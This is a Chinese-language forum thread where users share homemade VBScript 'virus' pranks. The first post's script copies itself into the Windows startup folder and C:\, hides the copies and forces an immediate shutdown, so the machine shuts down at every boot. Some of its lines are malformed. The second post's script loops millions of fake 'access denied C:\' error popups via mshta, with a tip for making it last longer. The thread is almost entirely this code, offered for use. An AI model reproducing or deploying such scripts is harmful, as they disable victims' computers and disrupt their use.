用户:
PlumSteven查看:13 回复:6 评论:13 创建时间:2022-04-20T08:08:27

温顺的咪噜gBgE我编了一个,只会不停关机的
set fso = createobject(“scripting.filesystemobject”)
set ws = createobject(“wscript.shell”)
pt = ws.specialfolders(“startup”) & “”
set file = fso.getfile(wscript.scriptfullname)
file.copy pt
set WshShell = WScript.CreateObject(“WScript.Shell”)
dim wshshell
set wshshell = wscript.createobject(“wscript.shell”)
wshshell.run “shutdown -s -t 0”,0
Set fso = CreateObject(“Scripting.FileSystemObject”)
Const Hidden = 2 Set f = fso.GetFile(“C:\abc.vbs”)
f.Attributes = f.Attributes Or Hidden
set copy=createobject(“scripting.filesystemobject”)
copy.getfile(wscript.scriptfullname).copy(“c:\123.vbs”)
Set fso = CreateObject(“Scripting.FileSystemObject”)
Const Hidden = 2 Set f = fso.GetFile(“C:\123.vbs”)
f.Attributes = f.Attributes Or Hidden
On Error Resume Next
点赞0
评论
mhdLing314我自己搞了一个很像病毒的vbs
set wsc=createobject("wscript.shell")
for i = 1 to 9999999999999
wsc.run "mshta vbscript:createobject(""wscript.shell"").popup(""拒绝访问C:\"",1,""Error"",64)(window.close)"
next
set wsc=nothing
第二行的第二串数字越大持续时间越长
点赞0
评论